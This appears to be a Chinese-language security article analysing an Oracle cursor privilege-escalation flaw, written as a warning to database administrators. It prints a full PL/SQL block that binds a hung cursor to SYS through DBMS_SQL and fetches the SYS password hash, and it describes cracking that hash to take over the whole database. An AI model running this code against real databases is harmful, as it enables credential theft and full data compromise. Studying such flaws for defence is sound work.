前文中我們提到Oracle游標的數據庫安全隱患之一,如果由于人為原因沒有及時關閉游標,黑客可以通過對制造異常,使游標持續處于被掛起狀態,然后進行惡意代碼注入。再利用游標自身的高權限執行惡意代碼,進行越權或者非法提權操作。本文我們針對游標提權漏洞進行實例分析。
游標提權漏洞就是在上面的基礎上利用被掛起的游標,通過類似DBMS_SQL這種由系統定義的包,把游標語句和高權限用戶進行綁定。接著上面的例子通過DBMS_SQL綁定SYS,用戶直接獲取SYS的密碼HASH。
SQL> DECLARE
2 CURSOR_NAME INTEGER;
3 I INTEGER;
4 PWD VARCHAR2(30);
5 BEGIN
6 CURSOR_NAME:=3241423;
7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');
8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);
9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN
11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);
12 END IF;
13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
14 DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);
15 END;
16 /
上述代碼是在獲取游標值的前提下進行的,因此在代碼聲明的地方寫入游標值3241423。使用DBMS_SQL中的BIND_VARIABLE(cursor_name,':schina',sys)將游標和SYS用戶綁定。這樣執行查詢SYS用戶。后臺數據庫真正運行的語句是:select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函數的作用是將游標中第一列的值返回給PWD變量。黑客在執行完上述匿名塊后,系統結果返回SYS密碼的HASH散列,使用HASH逆向工具進行轉換就可以獲得SYS密碼明文,直接奪取數據庫最高權限。
至此,對游標漏洞的提權完成,黑客獲取數據庫最高權限,那么真正的數據庫安全危機也正式爆發。利用數據庫最高權限,黑客可以對數據庫中的核心數據整庫拿走或進行增刪改查等關鍵動作,造成一系列嚴重后果。通過此文的分析,希望對DBA等數據庫管理人員予以警示。